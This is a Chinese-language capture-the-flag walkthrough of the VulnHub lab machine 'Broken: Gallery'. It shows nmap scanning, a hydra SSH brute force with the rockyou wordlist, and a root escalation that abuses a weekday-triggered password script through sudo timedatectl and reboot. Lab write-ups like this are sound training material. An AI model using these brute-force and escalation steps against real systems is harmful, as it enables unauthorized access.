Broken: Gallery

Posted 2020-12-14 ch42e

Description

• Name: Broken: Gallery
• Date release: 9 Aug 2019
• IP：通过DHCP自动获取
• 最终目标获取root权限

Download

(Size: 1.4 GB)

• Download: https://drive.google.com/open?id=1d8R2FyyWbJKTtRRIrRDVsIgS02d94uZQ
• Download (Mirror): https://download.vulnhub.com/broken/Broken.7z
• Download (Torrent): https://download.vulnhub.com/broken/Broken.7z.torrent ( Magnet)

主机发现

Kali攻击机IP：192.168.91.128

nmap -sP 192.168.91.1/24

获得靶机IP：192.168.91.129

端口扫描

nmap -sV -p- 192.168.91.129

靶机开启了22端口（ssh）和80端口（http）

漏洞发现

访问80端口上的web服务，但是仅仅是展示一些图片，似乎并没有太大的利用价值

尝试对22端口的ssh进行爆破，尝试用户名broken，密码字典为/usr/share/wordlist/rockyou.txt

hydra -l broken -P /usr/share/wordlist/rockyou.txt 192.168.91.129 ssh

成功爆破出来用户名和密码为：broken/broken，后来看到一种思路是根据所拥有的信息建立个字典进行爆破

漏洞利用

成功登录ssh

ssh broken@192.168.91.129

查看当前用户的sudo权限，发现能够使用timedatectl和reboot命令

提权

尝试查看bash用户历史命令

发现一个关键文件paddword-policy.sh位于/etc/init.d/目录下

可以发现DAYOFWEEK等于4的时候，设置root用户的密码为TodayIsAgoogDay，其中DAYOPWEEK=$(date "+%u")，表示当前星期几，也就是说星期四的执行root用户密码的修改，通过timedatectl修改时间后重启

sudo timedatactl set-time ‘2020-07-02 16:16:50‘
sudo /sbin/reboot

重新登录，成功获取root权限